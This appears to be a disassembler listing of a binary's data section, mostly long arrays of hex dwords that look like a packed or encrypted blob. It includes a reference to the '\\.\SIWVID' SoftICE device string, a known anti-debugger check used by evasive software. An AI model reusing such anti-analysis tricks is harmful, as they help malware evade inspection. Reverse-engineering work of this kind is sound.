0BC962F0Dh, 0BA740192h, 0C7610AD9h, 0B1B2D8EEh dd 5C70D02Ch, 38FCFF40h, 911700BBh, 72376151h, 7CB4691Eh dd 0D010F40h, 401896A0h, 0F6386215h, 6A5C9A00h, 0A0E608E2h dd 0FAED023Ch, 21ACDF03h, 187C7066h, 8F69A00h, 2A0E2F5Ch dd 49E829D1h, 37F780B0h, 53BA7540h, 7002A700h, 0E42A9E57h dd 3C7136h, 0A96D5BFDh, 0EF7F48Fh, 0EC90A826h, 83203664h dd 84E8E0E9h, 0A89C0C02h, 80D92BF0h, 0F45726ECh, 0A9A309FBh dd 0A07167B1h, 9A7F3400h, 2C48B16h, 0ADE3DF56h, 5C661CAAh dd 0F300CBF8h, 0ABCD172h, 3A4FDBD3h, 0C0797AAFh, 49F055C1h dd 5900A032h, 391A53F5h, 3C65CB88h, 0BE01BC37h, 9C54F6EDh dd 47C4301Ch, 0A5F96804h, 26C0E896h, 0E459F4BFh, 0B71784Eh dd 7EDE5CF1h, 0C2509007h, 7CD10C1Ch, 2EE12707h, 9D4D8CE0h dd 0A71A2CBBh, 17E826D0h, 8AE817FDh, 1AE40004h, 7C179AE6h dd 2588008Eh, 0A2D15536h, 4709CCC2h, 84F26A0Eh, 0A4BCBDF0h dd 98D09060h, 0CF0190E7h, 8E9E3673h, 0CC321426h, 71D63209h dd 390E9DD4h, 882DCA0Dh, 0E3826942h, 0BF7DD062h, 0D41D0A98h dd 10DC1Eh, 8A2103FEh, 0F648FB28h, 7F65C3FCh, 0B3B1D049h dd 0A4820F6Bh, 24D7C524h, 0C978E834h, 67005D86h, 1364A2E9h dd 40C0E25Bh, 4B26A4FBh, 7A188810h, 57596A03h, 8F6F4B20h dd 2093EFF2h, 1445EB39h, 62342705h, 0ACC87336h, 4997003Bh dd 0EFD9109Bh, 0EC00CF9Eh, 0C51F9855h, 0A608386Ah, 74F700B0h dd 5EB46387h, 5400518Fh, 0BB9C10A4h, 167AE25h, 0B22B0592h dd 201D63F7h, 472E2350h, 0BF0E283Dh, 0A618EA8h, 0CF00A887h dd 95F70CDBh, 0A72E25DFh, 361BA400h, 0D4828E2h, 10CD8B04h dd 0BAED454h, 9EE775ADh, 0C8E6ECA2h, 8C2EC858h, 1D00F23Ah dd 2E965763h, 4790FCDh, 28A59214h, 2FE82012h, 0E00D6C7h dd 67D2943Fh, 2C271D95h, 12748879h, 7540E26Eh, 0BEC3CA0Fh dd 0E77280A7h, 16CC5Ch, 0C64C64CFh, 5826AA7Fh, 0C459AE62h dd 800C54BCh, 723F8407h, 0B10F8D26h, 29FC784Bh, 5C64CBh dd 8B518A01h, 0B1668569h, 8302CC77h, 0CB3FF4E1h, 0B0DC4688h dd 96F8CEh, 9D481D24h, 6DABD1FFh, 75BD3D0Ah, 1F0B9CA6h dd 6F220079h, 582C6E57h, 0F072E047h, 7D76007Ch, 33489956h dd 5899FD26h, 4F188780h, 754061A9h, 969202ECh, 55DA41EBh dd 5E581F20h, 0BEA9823h, 0D8B5614h, 74C408h, 0C0984D4h dd 58057406h, 4C6D9EF5h, 3DB3F4B4h, 0A5A7CDE3h, 6316BC07h dd 9AE18710h, 0C6A64223h, 5240C856h, 439ED6h, 5710E540h dd 0D4023DA1h, 2705FE00h, 264D58CCh, 82ECBC5Bh, 891CB3F5h dd 0BA00BCF1h, 75152AB4h, 0AEF60499h, 843764DFh, 5E8B3ACh dd 146ED86h, 921EECA0h, 96A0418h, 0A48E9F53h, 0B200C1ECh dd 2F6F3CC6h, 1CE72D0h, 0FFB589C5h, 341E9E16h, 0EC743B44h dd 8C225928h, 603A6145h, 0C473D3ECh, 190D1D3Eh, 0CD19CA36h dd 4C20402Eh, 0F296023Fh, 0C1498603h, 0A0ED25BCh, 0FADA9B03h dd 58AE901Fh, 854E801Dh, 56D0811Ch, 0EC612FB4h, 1C33C1B2h dd 822A4400h, 5FEEFE83h, 0F8959900h, 0E63E1677h, 0DEF2008Eh dd 0F47D6D0Bh, 0C13D2D03h, 64C8CAC5h, 2224276Bh, 710AF061h dd 0F01E3AEBh, 8437A740h, 0F04398h, 0B187DE3Bh, 0DA01473h dd 0E4434E4Ah, 82598C11h, 3CB480A3h, 13CC95F4h, 0A5626C0Eh dd 92B46C3Ch, 52070A0Eh, 0E4E05018h, 0BC952E69h, 0AAE66030h dd 4487B23h, 13A300CCh, 540B4E66h, 0FCA40B3Fh, 7C04C09Fh dd 0FFE8E473h, 90C36E03h, 0A8AB5BFEh, 0F6B272h, 5839ECD1h dd 0EBA97710h, 0AC2D692Ch, 52A69760h, 128B14B3h, 8F2EB6B5h dd 4ED0405Ch, 0F3004DE6h, 129E09B1h, 1548930h, 0A31B0638h dd 3DED4459h, 5CA40070h, 0C1FC3A8Dh, 61210218h, 0EF28FD49h dd 0E58268D9h, 0D2BBC51Ch, 1084C0h, 0A6F7AAF3h, 6D634C58h dd 9CCC534Fh, 85C51084h, 0EE330C5Dh, 46679C2h, 0FE4840C8h dd 250FAAAAh, 3C444434h, 39753FC0h, 18009D24h, 69414A6Dh dd 59C04B70h, 599AB904h, 6127002Ah, 5097A490h, 22E70D34h dd 0C0A85800h, 0F65975D4h, 0C260007Eh, 1016F84Ch, 0AA3BCD13h dd 0D0C84A1Fh, 9C771EB3h, 0D1100080h, 0F46EF815h, 0A70054B8h dd 46909466h, 280D549Bh, 2E64D9A9h, 1F1A4C95h, 90A51668h dd 0E26458D4h, 0E9204D03h, 0E85CE3B4h, 901627A1h, 3BE60134h dd 0A3FDA9F6h, 3023F7h, 0BD82EA8Ch, 131FA726h, 4A6DC503h dd 0C0B817FCh, 0EF6A7FEh, 74385754h, 72366C0Fh, 279880F0h dd 9EDB4F7h, 0C7332D07h, 4ED4C480h, 0C305199Ch, 0DB6AD680h dd 0A98E830h, 0D05F1C5Ch, 8CA60112h, 60560CBEh, 9F120BE1h dd 94F4606Dh, 0B9FB340Eh, 0E210C438h, 95530168h, 9B544D1Bh dd 620F4823h, 0F0E00975h, 2B1964F1h, 7B637407h, 0B08A82C5h dd 0FD4CF63Bh, 29510050h, 37D0DB56h, 0C8BA583Ch, 0C8443817h dd 5200D82Ch, 0A22C1CDEh, 298577Eh, 6A553C88h, 0C872DB5Dh dd 2FC6F50Eh, 1DD8FB5h, 0CF062518h, 265298C7h, 9CE200A4h dd 11700CF6h, 0F448536Eh, 0AE82804Ch, 267E13h, 0C7165EA8h dd 8D84359Dh, 62776D00h, 136AE40Ch, 0A0939D05h, 83F403C4h dd 0ADA8C02Dh, 635001AAh, 87BBF93h, 5524FCA5h, 7E9778C1h dd 0FA8B1DB3h, 0ECA02977h, 74A06128h, 0B910E8h, 577780B8h dd 0AA0FFF79h, 5AEBE4AFh, 0BC442036h, 0A932815Eh, 0D63CC81Dh dd 0D468204h, 0B07A4C6Ch, 7F19B0B4h, 2C392E08h, 0D4E8CD25h dd 4F052F1Bh, 501DA0B8h, 5546D480h, 1C3C5CA1h, 0F304E222h dd 0CE1AC579h, 0B48CC8h, 1719FD7Eh, 0FE1DFA2Ah, 4CE8BB50h dd 1E0D0E18h, 9135F2F8h, 0B8A68070h, 2809DCB0h, 8499E264h dd 2F93A882h, 0C09E2100h, 0E11F737h, 66139056h, 9280302Fh dd 0B301CD98h, 245634ECh, 203BA097h, 0EBA6C18h, 84EBE400h dd 5DBBF0F1h, 0A52C4C54h, 90C88F27h, 52133847h, 0CC1450E5h dd 0E45B248Ch, 46A88500h, 1E5726C8h, 1AC5059Dh, 0FC5CC15Fh dd 0C25AC04Fh, 0CECBAh, 0E41C67C8h, 6A03E255h, 809D9A79h dd 1D5A1689h, 0B75702DEh, 0B37590C7h, 0DBE154A0h, 1000719Bh dd 14FAD2A6h, 2C4A0A82h, 5441398h, 888FB662h, 360244D0h dd 2749F3C5h, 1D0E4EEh, 0FE63A52Eh, 0F0B0241Fh, 950921A9h dd 827A36C9h, 59AE749Fh, 89013F8Ch, 0BF055A9Ch, 5DA441F6h dd 73804094h, 7770CF04h, 5C406AE7h, 799821ACh, 342A00F9h dd 0B8D6075Eh, 2EFDCD37h, 86E32400h, 0A44F0ED3h, 2B086D4h dd 9330C448h, 879AA2Bh, 7035D400h, 1297DFh, 0ECB49DB8h dd 6380FCA5h, 0DA8020EBh, 9DB3C488h, 0C124C11h, 378D015Eh dd 0CB06BE64h, 44006B10h, 4D2B4CF5h, 50E458B5h, 0DBF8B622h dd 0A180E89Eh, 10D7897h, 0B26B4CAEh, 0D9F27D02h, 34D11E45h dd 0E1053F0Fh, 37632003h dd 25D891F2h, 7678E270h, 810B0011h, 0E32451DDh, 0B098A48Fh dd 70814C4Eh, 28324539h, 4623800h, 7ACE9C9Bh, 0E2F6A300h dd 91D47CA8h, 0D9CB01CCh, 0C644DB63h, 5D3442CFh, 25CDF960h dd 8CED800h, 13ED7FB8h, 807B5BE4h, 29F4EBACh, 585D2D0Fh dd 53F5608Ch, 9628E3C6h, 0A484C0B4h, 2195DC1Eh, 7B5E07F0h dd 0A70BE4h, 5F18AD32h, 0BDD8BACEh, 0F248C57Eh, 0C3D00AE0h dd 0B5834878h, 908EEDEEh, 0F51C40Fh, 0E7C0981Ah, 7411DFC0h dd 83974D0Ah, 0C88D5AA4h, 608F64F8h, 71289AEh, 0AC00A0CAh dd 57D6D432h, 0BB6FC7Ah, 3629F978h, 0C0AC7CD9h, 0BA395902h dd 0D608C0B2h, 145F08Dh, 0DD2838B9h, 21A76315h, 0DA92C858h dd 0B378109Dh, 0AC6D0069h, 830CF5F8h, 0AB1E50D9h, 46EF101Ah dd 38D89868h, 32139F69h, 7F64F24Fh, 163CC200h, 1CB74213h dd 859A00CAh, 0E0CED943h, 0F2046D2Ah, 0C40D2889h, 4E3C115Fh dd 8FD29CC0h, 147B0027h, 8EE497B4h, 10130A1Bh, 8022DA67h dd 0C19CE0C8h, 456D2656h, 814B40D0h, 9700BB1Fh, 51895779h dd 0BAD61842h, 207E4BA0h, 0ACF5D374h, 48701401h, 0ED59160Dh dd 0C7CACC70h, 21505721h, 2046E23Dh, 704CC414h, 0DBA18120h dd 68965CDFh, 6C5CA09Eh, 0B3C54012h, 86EA08C8h, 8B5D633Ch dd 871E606h, 0A704BC30h, 2DC31F0Ah, 466B879h, 5CECB059h dd 0CBC0A4BFh, 0BEB8413Eh, 2B9CD007h, 9AB4BDA4h, 7280A0ECh dd 1E2C98A8h, 84FB1700h, 1B3FF4FFh, 455CB010h, 3D5C4CB1h dd 0AD0DE0F9h, 47556801h, 0BED959F9h, 0E88310F1h, 0B55667D2h dd 0C06C3958h, 0AF2B4EFFh, 407E002Ch, 55EB9EDEh, 21C4D30Dh dd 0FC8C16D7h, 2C06001Eh, 11A099C0h, 72173C84h, 4B64C6Dh dd 0BFCE11h, 9FD2EEBBh, 0C31235h, 0A8F549C7h, 1DC10765h dd 14409097h, 7DC80060h, 3C47182Eh, 2758A664h, 0A3020294h dd 5E68CFEFh, 967E40DCh, 9A047F2Ch, 0CB715124h, 6548E640h dd 0B2582A9Ch, 7D970066h, 3EB88536h, 58010076h, 0CF7E71C2h dd 0A001E279h, 850E4A6Ah, 10809EDAh, 13064BECh, 96794930h dd 7BB9EB0Fh, 4CECF411h, 29F2048Eh, 98CC8979h, 1C67C8Dh dd 0F902E650h, 0C8D13B76h, 50B036D6h, 69474808h, 8AA461h dd 3859BF76h, 0F30B7E6Dh, 0D023EB2Bh, 670D0520h, 888E0C52h dd 1D04A710h, 3EE7DCBCh, 53F7E0C0h, 82360075h, 277E76ECh dd 0DB7C15D4h, 0A42D24B8h, 31E460FBh, 17261934h, 207249D6h dd 592F47C0h, 11780ED5h, 0E09F7116h, 0F4A19C04h, 0C1C31027h dd 7FB7CFAh, 20FCA8Bh, 5A6B506Dh, 5807928Ch, 0CD5BE25Ch dd 0D9169ED2h, 0E07700E4h, 76273735h, 9628C800h, 0B2D88D55h dd 7E953B38h, 6F589000h, 0F282A169h, 6D9C5409h, 681653h dd 363FCB70h, 1C593773h, 288FFD02h, 6011B327h, 1C5BFAC4h dd 6CD085h, 0C0A90EAEh, 820EEBD6h, 84FB2519h, 54802BB9h dd 0EE758A8Eh, 3AA50091h, 111D4E88h, 0E8001BC3h, 4D666BD5h dd 6DC872h, 3674C6E9h, 928DE65Ch, 7A551B18h, 3F01EB48h dd 7F6F7AAh, 8D7D4CCEh, 478B405Ah, 78C02281h, 6BF5FBB9h dd 0C1960359h, 0E4253918h, 5B0D8900h, 20C358A0h, 74050084h dd 0D6F777D1h, 376055D2h, 92724941h, 1103607Dh, 0E804F7C6h dd 757A3Fh, 0AC65AF18h, 3A934235h, 0A13E1E76h, 7CC02B01h dd 0D0DBF62Eh, 12065E8Dh, 2C679F8Bh, 33630048h, 0E8CF84A4h dd 3103269Ch, 5925D2B6h, 6A65A0BCh, 1A82004Dh, 0BD84DA1Fh dd 7A0F76CFh, 36B53Dh, 0A9CA1ED8h, 51C9619Ah, 0C05A24ABh dd 920034B2h, 8B0C96ADh, 0A121262Fh, 2DD07EFEh, 5F130E67h dd 395853D6h, 6A05DA04h, 0E32538ADh, 3D368C40h, 0ABB3AE9h dd 3966F51h, 9D7E40B8h, 12036324h, 99A5B164h, 0B49009Fh dd 0F7C5CD54h, 910C71AAh, 51D88367h, 0EB10C072h, 42C67E29h dd 184835F0h, 744C008h, 0E23C7343h, 308EE3Ah, 0AE6A37CDh dd 84887D61h, 1800E0BAh, 2B6FD3A8h, 0CF42694h, 999F89C3h dd 813E2781h, 0D58A87F5h, 0CCFA396Ah, 0BD6FD200h, 504406Bh dd 80B88BCAh, 8CE4471Bh, 0CEEE3058h, 8400EAABh, 471DDDE7h dd 1777B62h, 3DDAF556h, 48045F50h, 5B00F780h, 4A8555C7h dd 621D160h, 0D31B7D18h, 0B9018903h, 80DF934Ch, 20805C2Dh dd 38FA08ACh, 0F1C0DD24h, 0E3CE700Dh, 39E775B0h, 122EC515h dd 9CF90C1Bh, 0AD0AFB49h, 0CC528508h, 47327160h, 6FD70E6Bh dd 0A7207C20h, 9943C88Eh, 2D398360h, 1B30C80h, 16FAF05Ah dd 0D9D732B1h, 87218064h, 0BCB4954h, 75020EC7h, 0C35FB2AFh dd 0FCD5BC1Fh, 0F0F02996h, 1CD18A12h, 9DAB8420h, 24391863h dd 0DEDD91FCh, 6C539B00h, 9894C8F7h, 3EA10061h, 0E9BED5A9h dd 283C7F5Ah, 0E0993E4Bh, 479F5259h, 0AB7113FEh, 9BD006Ch dd 2510DF7Eh, 4D0090A4h, 0C6233C4Eh, 12ADFAD8h, 3145EE0Dh dd 60DB90DCh, 0B7019F62h, 8DA0E90Bh, 0B704296h, 6AF41F85h dd 0B4790EE6h, 599437A0h, 76000ED8h, 7D21A56Bh, 0F847F8B3h dd 0EACB002Fh, 1B3265ADh, 7CE09073h, 687D1C01h, 90475AEh dd 864FFC50h, 6A0A3F48h, 0D5A83B80h, 0CEAEF0F3h, 737DFC7Dh dd 31F4D8A1h, 4588923Eh, 43DCA201h, 0A0502681h, 0BE0304h dd 0A6B0EA6Eh, 30EEDBF5h, 94236300h, 0F2F4A3A2h, 0ABF0C221h dd 94406BE0h, 4B383590h, 19896103h, 0BAF83FC5h, 8FCE042Ah dd 8824BFDDh, 0B100FC10h, 6A233DCCh, 128AB0A1h, 84A1147h dd 689F992Ch, 0E131EA1Bh, 58A8B87Eh, 6C940238h, 0D9AC633Fh dd 0E0356B20h, 11F06024h, 4D28A912h, 0A849FE30h, 71D3F4F3h dd 9D0124D5h, 6FCFC25Ch, 50968481h, 308430E2h, 0E58E748h dd 4408028Dh, 0D8C05197h, 0C0F22490h, 431FCD61h, 33F1A6Ch dd 0DED41E72h, 1DCA4C02h, 80886394h, 14ACAF5Dh, 64AE6322h dd 200E041Dh, 4CBA1603h, 0F0FFFED6h, 284B02EDh, 48471A2h dd 8118ABACh, 0C1B9031Ch, 9DB4D0E5h, 7423005Ch, 0BEE130A0h dd 15030578h, 0CEA2429Eh, 0AAC8016Eh, 8DD63647h, 39E980D7h dd 79F8DAE1h, 0A86A0B25h, 5C00D435h, 7B04735Ah, 8BCB91C6h dd 2EA20464h, 889F7444h, 0B1709E84h, 6B859101h, 3753D310h dd 225606FCh, 0C300F025h, 5188470Ch, 0C0E677D3h, 6AC05E60h dd 4209A792h, 1BECE86h, 0D4E57D14h, 5AC3B440h, 0ECD15404h dd 818F0025h, 0D3F53484h, 5500F40Bh, 4C6FE2F7h, 0C07D0431h dd 9AE5E7A9h, 5502BEC8h, 2DE941C7h, 6D24A04Fh, 3B7E39h dd 65C4577h, 0EFB76371h, 0CC26A9DFh, 173EE0Bh, 8DD5F358h dd 0AF062C23h, 0F9CB989Ch, 0AD1CC4F6h, 2280842Fh, 4BA0E175h dd 502B8E8h, 820FB6E5h, 0BFA02003h, 0ECE19312h, 0E507DCDFh dd 0F8AD1820h, 9AAB4D30h, 7B17547h, 786F1A8Bh, 801F8477h dd 42234348h, 0DFFE8500h, 0C5D72CACh, 0FB100AEh, 3C2FB870h dd 0D56025FCh, 622758C1h, 0C4A700AAh, 119904CCh, 6A747E2Ah dd 63CE5900h, 6B753625h, 12B00391h, 1B13203Ch, 0A90226E3h dd 52930CB2h, 0E076C01Ah, 2C589021h, 47B4A6D6h, 10A33068h dd 0A2179363h, 2820800Fh, 36FE381h, 9D270E8Ch, 19002F7Eh dd 0C0D12BC6h, 451B171h, 8899F59Bh, 5810C00Eh, 8A759864h dd 0A4336B24h, 9C015B1Fh, 83256F3Eh, 0FC3444FAh, 2881F87Fh dd 0CA69D70h, 8759772Eh, 1D76AA88h, 311BDF0Fh, 6ACAA73Ch dd 0DC889AC5h, 0FAC60071h, 6D12987Fh, 0D32EA995h, 0AC43ACE7h dd 0C9A2E0F5h, 0C70E218Dh dd 7BB39480h, 2DB1DE5h, 234CF548h, 2C809B63h, 9A67D4C9h dd 0D611F162h, 27CCCFAh, 4C1EB8AAh, 800F7804h, 3CF737D2h dd 48B47BE5h, 6000733Ah, 0CE116297h, 6C283BCDh, 5E48844Dh dd 4C785888h, 0E60280F4h, 0FA1CCE31h, 1D5B00E2h, 0C68EA3Ch dd 621AC2B5h, 4089EE84h, 1C4FD6FCh, 26D3CDh, 817648A2h dd 7F306F2Ah, 62435104h, 0EEDA06E3h, 701DACA0h, 7EFACD00h dd 0C558B8E4h, 81F00096h, 0B343D621h, 1B48E1AFh, 2498F4Ch dd 9856D19Dh, 5E7F2A4h, 0D42F3321h, 0FD0C4220h, 4BE0E646h dd 90A8A09Ah, 0E30072C2h, 7523C2Dh, 56701Ch, 0BC59224Ch dd 58ED0D02h, 390FAD1Eh, 359672C0h, 0F415477Fh, 8E6C005Eh dd 0B7E07CFDh, 0CF883080h, 0FDA6724Eh, 0FBBB1281h, 30564D77h dd 502E77Ch, 2B356A82h, 0E0D46425h, 0ACFC0023h, 5F0D81A3h dd 0EE1815F9h, 9D21D625h, 0C08D0088h, 9EA858C2h, 37021DADh dd 0C523601Fh, 70FC9125h, 0F61A5FCh, 63E8BF1Eh, 0D503E600h dd 1F58243Ah, 3E41031Ch, 9921D359h, 0A3DCB1F6h, 4DAF805Ah dd 34FF0426h, 0C3541780h, 3ABF189h, 8D429869h, 8007CDEh dd 72B7D6ADh, 0B059F9h, 3B6B74A3h, 9A2B7904h, 0D5009CB9h dd 3EE9C1F6h, 2C11F8C5h, 80CEE5h, 2AA30224h, 98A80580h dd 300F3E3h, 689BC939h, 60047836h, 918C89D2h, 4800D710h dd 0DB796FB5h, 3B44622Eh, 4F0160B2h, 9CBB5923h, 0D69930AAh dd 24AB6B0Ah, 358E8868h, 2E84A062h, 1CF1507h, 22765027h dd 83869861h, 80C61BA9h, 6CF9C8D5h, 0B7B2008Dh, 0AAF040C4h dd 0B6036D4Dh, 1020D2AFh, 0E6D580ADh, 9A3226D1h, 1FC342C0h dd 0BBE9A160h, 932E3900h, 6B9545BCh, 25460E2Ch, 98C0B19Bh dd 0C532DC9Ah, 645C0F24h, 44608B17h, 18F1620h, 28E58668h dd 2093F385h, 0E3AE784h, 290D341Bh, 13B6D4C2h, 0D478F024h dd 8495A701h, 18651C0Ah, 8A29444h, 951E0D00h, 7C8A137Fh dd 0AFDCC900h, 828E2E0Eh, 0D5DE14DBh, 7E2E6802h, 0AE8444B0h dd 5AEE580h, 5E2B00C7h, 1159FF9Bh, 0D8004C34h, 10688B88h dd 12AFC1B5h, 2003E807h, 0A0D4F920h, 10FDDF00h, 217B8724h dd 906C0049h, 0E0F1634Bh, 0A60694FAh, 0A5A96837h, 770330A9h dd 0CE6A8CE9h, 63D0478h, 7E1EF91Ah, 0D18075FFh, 81870E7Bh dd 0A06B03F1h, 29912F52h, 2C5973D2h, 0FFAB7D00h, 658ACCAh dd 2748863Ch, 9F0093BAh, 0DB591A8Eh, 4C67D23Dh, 50C49CA1h dd 7354409Dh, 91F7BF02h, 0FCFE80C4h, 8BB17755h, 5EE6503h dd 9972BE07h, 0D833973Dh, 91319300h, 0BD0DC530h, 0F0F59812h dd 0BC338C20h, 324D0765h, 0BF9F92AAh, 55D18D83h, 7CB9212Eh dd 6F1B2882h, 6EC2875h, 118603EDh, 9426DD01h, 4A306F47h dd 724D34F8h, 0B8DA01A7h, 0D43DBDB5h, 6299D405h, 0B0C059DDh dd 38C62576h, 9A770056h, 79EA075Fh, 0FE00F9ADh, 493A5DC4h dd 1D68C6Eh, 0CE1BBDCBh, 72AF6797h, 4134504Ch, 13C648h dd 83EA9569h, 4EAA28B4h, 0BB5C419Ah, 0DCE2F51Fh, 8F1D71FAh dd 3B0A5E0Dh, 0D460A419h, 1735C27Dh, 8C4FFEh, 5A6B215h dd 84EDECDh, 0D4366800h, 0DE9E9F8Ah, 0A2BA8059h, 0C39BE4F3h dd 0FD30F900h, 0ADAE8D8Bh, 0AC660A0Bh, 494F20Ah, 889AA9F6h dd 8C0089F0h, 76B7D7BAh, 1E5771A5h, 0C10BB9DFh, 5FB53EDDh dd 0C416714Ch, 0DC30B0ACh, 9255F918h, 6B5D0B7Eh, 30048C5Fh dd 0FCAB4037h, 90E703D3h, 429439B4h, 3836AD19h, 1B0C383h dd 98B8D65Fh, 0E8F886FEh, 2F02C0B9h, 0E8C94960h, 7BA9D35Ch dd 20940C67h, 0F9611A81h, 6187EE04h, 40803384h, 13CF52ABh dd 0C8557FB3h, 0EEEEDB78h, 19009D79h, 1D22420Eh, 0FC7383A2h dd 3C215CA7h, 0D618DD22h, 0B539D954h, 6CB124ACh, 678A05C0h dd 0D263C0C9h, 8F3BA3F5h, 0DE24980Fh, 5A0FB39h, 6703DD02h dd 3ACC0D6Fh, 0B0A9D06Ch, 0BE861B18h, 96F108C0h, 0BFE98088h dd 0AEEEB331h, 36431007h, 81959FDFh, 3E58C4C8h, 0A29FA3E6h dd 64448338h, 0B02269C6h, 0AC98DCh, 21098B85h, 0F295AD12h dd 2479913Bh, 0BA40689Ah, 7E5AE4h, 5E503898h, 52CB8D2Fh dd 696025FEh, 36A86B49h, 90A60038h, 0AC3F50BDh, 4F0079EFh dd 0F23C44D7h, 0D637B4h, 95AE7E7Ah, 6B1BD207h, 25B1C8F3h dd 0B1606845h, 0AE9B1DE5h, 2AED0041h, 0CC6F6396h, 0CA0E44B8h dd 80578271h, 70868102h, 0A8014CD6h, 82241B0h, 0C7001AE8h dd 0E1515CDCh, 7C544C04h, 2CA0E03Fh, 608C4AFDh, 0A4C1B420h dd 0D3074C01h, 9771D090h, 1ED41070h, 80BC55ACh, 0D676C7EDh dd 71C0CFA6h, 0B93B7F19h, 27224B49h, 0F3DA60E4h, 0A0011DDh dd 3AFCF1E4h, 47B134h, 20DAFFAh, 0FBD5A28Ch, 78811C94h dd 0BD5680EAh, 4D1DD82Ch, 0C5A5002Fh, 0FB2820C9h, 5003AD24h dd 4FA3013Ah, 1C382459h, 95D9DAD1h, 72CA2AF9h, 0FE0A00F8h dd 8AE0F7DEh, 3302B1D3h, 30ED6CB5h, 0D838437Fh, 0E8E9318h dd 824D3920h, 0ED500092h, 15C655CCh, 0A4EFC93Ah, 0D120F88Ch dd 0D9B8FE35h, 2EABA400h, 300BC9B2h, 35B03913h, 0D60A4773h dd 0C42BB7F5h, 0F2002991h, 9505FA2Fh, 0F89999D3h, 69708C00h dd 6E6733h, 30714B7Bh, 5F62360Ah, 0E49048D3h, 1C9506Bh dd 9ADFAF2h, 205D5285h, 4A189618h, 8B99D404h, 3FB700BFh dd 0E9B085C6h, 0D11EA791h, 502469C8h, 664E6Fh, 9F1CAECAh dd 7B33005Eh, 13719A61h, 0BC090E21h, 0C44C1874h, 93870080h dd 7DE41475h, 0A7097C9Dh, 2FF3A8Fh, 11DCB6F8h, 367C40A6h dd 6800DD88h, 5658EAB8h, 1CAD765Ch, 947EFA0Fh, 281DE406h dd 186066BBh, 5394D890h, 0B695D700h, 0D64EC2F4h, 0BC2CF17Eh dd 44989889h, 8C076385h, 31246B6Ch, 0BA763C70h, 961D05B2h dd 3889FECh, 89B62D1Ch, 2BA7CDB8h, 8A4B4F00h, 49D4CB19h dd 7C6F0031h, 0AE9AB494h, 482E7EBBh, 8A416024h, 9260EF35h dd 0F1E51CD0h, 4688051h, 0A1866FAEh, 900252h, 0F677B209h dd 0B1B72126h, 0DFFE8398h, 0D8E88BD9h, 0E002068h, 30586A7Ah dd 0E9D4BA84h, 2341E8C3h, 58B27D10h, 6F190420h, 0D9D34180h dd 663860F2h, 986C4D00h, 0CFCD781Eh, 2C1D497Dh, 64E1ED00h dd 0B807CB4Bh, 80C9213Dh, 0F5D3D4Fh, 0D33625h, 0C435E3A1h dd 0B0696E5Bh, 94E1416Ah, 71340D60h, 21BE0072h, 12EBD37h dd 0F87BD50Bh, 0AFE78701h, 94CEEAF9h, 0B050DB30h, 0D5CA0878h dd 0FB809C53h, 679D837Fh, 2B99C0B8h, 89DC2FD7h, 7DDD090Ch dd 1E1928h, 0B5A9ED7Ch, 25E46E02h, 62FFFB00h, 169513F2h dd 0D2480033h, 8D7D12A7h, 8DE4A23h, 7F2C90ADh, 0B8909Ch dd 0A70D4E5h, 7E652330h, 8D100E00h, 6EC5CE56h, 977604A4h dd 0F4034CA0h, 0D026BB90h, 7F143E54h, 0B55E0048h, 0B0234F41h dd 0BD8C00ADh, 8D438ED1h, 402177Bh, 1D975947h, 0B427415Eh dd 28B824E0h, 9C90C038h, 0AFFB800Ch, 337DA79Dh, 0C2CC9616h dd 0B84B888h, 60165936h, 0D400A064h, 554DAE2Eh, 38F6305h dd 0CAE21052h, 0A78AD5F3h, 682D1472h, 84E428A9h, 5A1B9904h dd 80DE1089h, 549E7614h, 0A6D5003Bh, 9196A794h, 8B82016h dd 0A9AD6C05h, 0A8007CE1h, 8C01BEAEh, 0F074FF30h, 0B8D32002h dd 0D00D09Ch, 3EEC408Dh, 0FD080280h, 84024551h, 0D20EFCD0h dd 4EC74A5Fh, 37F2D6h, 80BECB30h, 4AB18822h, 0C6E13E0Bh dd 0D45807C1h, 60F9B7E2h, 0FEA08CE0h, 0CFCC046Bh, 0C1A78FB9h dd 21D19714h, 6505F8A3h dd 0AA431F13h, 84B00C02h, 0AB146149h, 0D12030h, 0B6EBF9EEh dd 752358F5h, 66562913h, 0F481811h, 2809E195h, 3ADA8027h dd 5B0B20Ah, 360454C7h, 490FC0A0h, 201F46Ah, 7FFA87E5h dd 0B046DF6Bh, 5438034Fh, 79520219h, 49AD95F3h, 0D4A0B8D9h dd 65748E7Bh, 60F9E61Ch, 7CC54800h, 2476A842h, 4E04F0D4h dd 0FA1C5584h, 2610BD87h, 27837D92h, 308297B7h, 0DCF9DB6Fh dd 0DEBAC307h, 5B41BFB0h, 9E9F22B2h, 6936901h, 881ED886h dd 526675F4h, 0FFFF01CCh, 60FBh, 0E9000000h, 3518h, 0 dd 0B4h, 5 dup(0) dd 28D4B0F1h, 3 dup(0) dd 400000h, 0Bh dup(0) dd 1BC5428h, 1Bh dup(0) dd offset dword_5C93A4 align 10h dd offset word_5C5106 dd 2 dup(0) dd 12D392h, 3 dup(0) dd 0CEh, 7C90EBBFh, 0 dd offset a_Siwvid ; "\\\\.\\SIWVID" align 10h aFir db '”ë|',0 align 4 dd 8 dup(0) db '""""""""',0 align 4 dd 6 dup(0) dd 8Bh, 2 dup(0) dd 76F21290h, 6 dup(0) dd offset byte_5B4769 dd 0 aFiudl db '”ëuD‹',0 align 4 dd 0Ah dup(0) aF_0 db '$µ]f',0 align 4 aOu db '{Žã*',0 align 4 dd 0Bh dup(0) dd 400000h, 7C254779h, 4 dup(0) dd 0E2F7h, 7C90EB94h, 0E35189D4h, 2 dup(0) dd offset word_5C631E dd 2 dup(0) dd 208000h, 6777h, 0 aFir_0 db '”ë|',0 align 4 dd 4 dup(0) dd 0FFA46211h, 7 dup(0) dd 836F146Ch, 0 dd 3518h, 3 dup(0) dd 7Ch, 0 dd offset byte_5C59C9 dd 3 dup(0) dd offset byte_5F156D dd 0F9689CE2h, 2 dup(0) dd 0A0h, 0 dd 7C90EE18h, 2 dup(0) dd 0C09417h, 5B3644h, 0 dd 0FFFFFFFFh, 3 dup(0) dd 0FFED2C6Eh, 0 aFir8 db '”ë|Ë8]',0 dd offset byte_5B08A7 dd 0 dd offset word_5EEC06 dd 0 aFir_1 db '”ë|',0 align 4 dd 2 dup(0) aIqu db 'Ô‰Qã',0 align 10h aFir_2 db '”ë|',0 align 4 unicode 0, <³>,0 align 10h dd offset word_5E837E dd 4 dup(0) aCiW db 'çëÝw',0 align 4 dd 5 dup(0) dd 0C0180Fh, 0 dd 7C85A016h, 2A000h, 5DB4h, 5B4559h, 6 dup(0) dd 1CBFFB0h, 0 aB_0 db 9,'*|',0 align 10h dd 0 dd 0FFC00000h, 4 dup(0) dd offset byte_5A9CF7 dd 2 dup(0) 